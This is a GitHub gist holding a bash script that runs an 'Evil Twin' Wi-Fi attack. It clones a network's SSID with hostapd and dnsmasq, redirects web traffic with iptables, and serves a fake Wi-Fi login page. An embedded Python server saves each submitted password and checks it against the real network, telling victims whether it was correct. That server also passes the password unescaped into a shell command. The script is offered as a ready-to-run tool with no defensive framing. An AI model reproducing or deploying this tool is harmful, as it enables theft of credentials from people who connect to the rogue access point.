Skip to content

Instantly share code, notes, and snippets.

@0x3n0
Created July 29, 2024 14:39
Show Gist options
  • Save 0x3n0/4e401ac98853278d8cc6fb5654de1143 to your computer and use it in GitHub Desktop.
Save 0x3n0/4e401ac98853278d8cc6fb5654de1143 to your computer and use it in GitHub Desktop.
#!/bin/bash

# Variables
HOSTAPD_CONF="/tmp/evil_twin/hostapd.conf"
DNSMASQ_CONF="/tmp/evil_twin/dnsmasq.conf"
PHISHING_PAGE_DIR="/tmp/evil_twin/www"
PHISHING_PAGE="$PHISHING_PAGE_DIR/index.html"
CAPTURE_FILE="/tmp/evil_twin/capture.txt"
HOTSPOT_IP="192.168.20.1"
DHCP_RANGE_START="192.168.20.10"
DHCP_RANGE_END="192.168.20.50"
REAL_WIFI_SSID="WiFi_A"
REAL_WIFI_INTERFACE="wlan1"  # Adjust to the real WiFi interface

# Function to check if running as root
check_root() {
    if [ "$(id -u)" -ne 0; then
        echo "This script must be run as root" 1>&2
        exit 1
    fi
}

# Function to select interface and other settings
select_settings() {
    echo "Available network interfaces:"
    ip link show | awk -F: '$0 !~ "lo|^[^0-9]"{print $2}' | sed 's/ //g'
    echo ""
    read -p "Enter the interface for Access Point (e.g., wlan0): " INTERFACE
    read -p "Enter the SSID for your Evil Twin: " SSID
    REAL_WIFI_SSID="$SSID"
}

# Function to setup hostapd config
setup_hostapd() {
    cat <<EOF > "$HOSTAPD_CONF"
interface=$INTERFACE
driver=nl80211
ssid=$REAL_WIFI_SSID
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
EOF
}

# Function to setup dnsmasq config
setup_dnsmasq() {
    cat <<EOF > "$DNSMASQ_CONF"
interface=$INTERFACE
dhcp-range=$DHCP_RANGE_START,$DHCP_RANGE_END,12h
dhcp-option=3,$HOTSPOT_IP
dhcp-option=6,$HOTSPOT_IP
EOF
}

# Function to setup network interface
setup_network_interface() {
    if ip link show "$INTERFACE" > /dev/null 2>&1; then
        ip link set "$INTERFACE" up
        ip addr add "$HOTSPOT_IP"/24 dev "$INTERFACE"
    else
        echo "Interface $INTERFACE not found"
        exit 1
    fi
}

# Function to enable IP forwarding and setup iptables
setup_iptables() {
    sysctl -w net.ipv4.ip_forward=1
    iptables -t nat -A POSTROUTING -o "$REAL_WIFI_INTERFACE" -j MASQUERADE
    iptables -A FORWARD -i "$REAL_WIFI_INTERFACE" -o "$INTERFACE" -m state --state RELATED,ESTABLISHED -j ACCEPT
    iptables -A FORWARD -i "$INTERFACE" -o "$REAL_WIFI_INTERFACE" -j ACCEPT
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $HOTSPOT_IP:80
    iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $HOTSPOT_IP:80
}

# Function to start Python web server for phishing page
start_phishing_server() {
    cat <<EOF > "$PHISHING_PAGE"
<!DOCTYPE html>
<html>
<head>
    <title>Login to WiFi</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: #121212;
            color: white;
        }
        .container {
            background-color: #1c1c1c;
            border-radius: 10px;
            padding: 20px;
            box-shadow: 0 0 10px rgba(0,0,0,0.5);
            position: relative;
        }
        input[type="password"] {
            font-size: 1.2em;
            padding: 10px;
            margin: 10px;
            border: none;
            border-bottom: 2px solid #007bff;
            background: transparent;
            color: white;
            width: calc(100% - 50px);
        }
        input[type="submit"] {
            font-size: 1.2em;
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            background-color: #007bff;
            color: white;
            cursor: pointer;
            width: 100%;
        }
        input[type="submit"]:disabled {
            background-color: #555;
        }
        .toggle-password {
            position: absolute;
            right: 20px;
            top: 40px;
            cursor: pointer;
        }
        .auto-reconnect {
            display: flex;
            align-items: center;
            margin: 10px 0;
        }
        .auto-reconnect input {
            margin-left: 10px;
        }
        .advanced {
            margin-top: 10px;
            cursor: pointer;
            color: #007bff;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Login to $REAL_WIFI_SSID</h1>
        <form action="/login" method="post">
            <label for="password">Password:</label><br>
            <input type="password" id="password" name="password">
            <span class="toggle-password" onclick="togglePassword()">&#128065;</span><br>
            <div class="auto-reconnect">
                <label for="auto-reconnect">Auto reconnect</label>
                <input type="checkbox" id="auto-reconnect" name="auto-reconnect" checked>
            </div>
            <div class="advanced" onclick="toggleAdvanced()">Advanced</div>
            <input type="submit" value="Connect">
        </form>
    </div>
    <script>
        function togglePassword() {
            var passwordField = document.getElementById("password");
            if (passwordField.type === "password") {
                passwordField.type = "text";
            } else {
                passwordField.type = "password";
            }
        }
        function toggleAdvanced() {
            // Placeholder for advanced settings toggle logic
            alert("Advanced settings clicked!");
        }
    </script>
</body>
</html>
EOF

    cat <<EOF > "$PHISHING_PAGE_DIR/server.py"
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
import cgi
import subprocess

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            with open('$PHISHING_PAGE', 'r') as file:
                self.wfile.write(bytes(file.read(), 'utf-8'))

    def do_POST(self):
        if self.path == '/login':
            ctype, pdict = cgi.parse_header(self.headers.get('content-type'))
            if ctype == 'multipart/form-data':
                postvars = cgi.parse_multipart(self.rfile, pdict)
            elif ctype == 'application/x-www-form-urlencoded':
                length = int(self.headers.get('content-length'))
                postvars = cgi.parse_qs(self.rfile.read(length), keep_blank_values=1)
            else:
                postvars = {}

            password = postvars[b'password'][0].decode('utf-8')

            with open('$CAPTURE_FILE', 'w') as file:
                file.write(password)

            cmd = f"nmcli dev wifi connect '$REAL_WIFI_SSID' password '{password}' ifname '$REAL_WIFI_INTERFACE'"
            result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()

            if 'successfully activated' in result.stdout:
                self.wfile.write(bytes('Correct password, you are now connected.', 'utf-8'))
            else:
                self.wfile.write(bytes('Incorrect password, please try again.', 'utf-8'))

def run(server_class=HTTPServer, handler_class=RequestHandler, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    httpd.serve_forever()

if __name__ == '__main__':
    run()
EOF

    python3 "$PHISHING_PAGE_DIR/server.py" &
}

# Main script execution
main() {
    check_root
    select_settings
    setup_hostapd
    setup_dnsmasq
    setup_network_interface
    setup_iptables

    # Start hostapd and dnsmasq
    hostapd "$HOSTAPD_CONF" &
    HOSTAPD_PID=$!
    dnsmasq -C "$DNSMASQ_CONF" &
    DNSMASQ_PID=$!

    # Wait for services to start
    sleep 10

    start_phishing_server

    # Wait for user to press Ctrl+C to stop the attack
    trap "cleanup" INT
    wait $!

    cleanup
}

cleanup() {
    # Cleanup
    if ps -p "$DNSMASQ_PID" > /dev/null; then
        kill "$DNSMASQ_PID"
    fi

    iptables -t nat -D POSTROUTING -o "$REAL_WIFI_INTERFACE" -j MASQUERADE
    iptables -D FORWARD -i "$REAL_WIFI_INTERFACE" -o "$INTERFACE" -m state --state RELATED,ESTABLISHED -j ACCEPT
    iptables -D FORWARD -i "$INTERFACE" -o "$REAL_WIFI_INTERFACE" -j ACCEPT
    iptables -t nat -D PREROUTING -p tcp --dport 80 -j DNAT --to-destination $HOTSPOT_IP:80
    iptables -t nat -D PREROUTING -p tcp --dport 443 -j DNAT --to-destination $HOTSPOT_IP:80
    iptables -F
    iptables -t nat -F
    iptables -t mangle -F
    iptables -X
    iptables -t nat -X
    iptables -t mangle -X

    echo "Evil Twin attack stopped and cleaned up."
}

main "$@"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment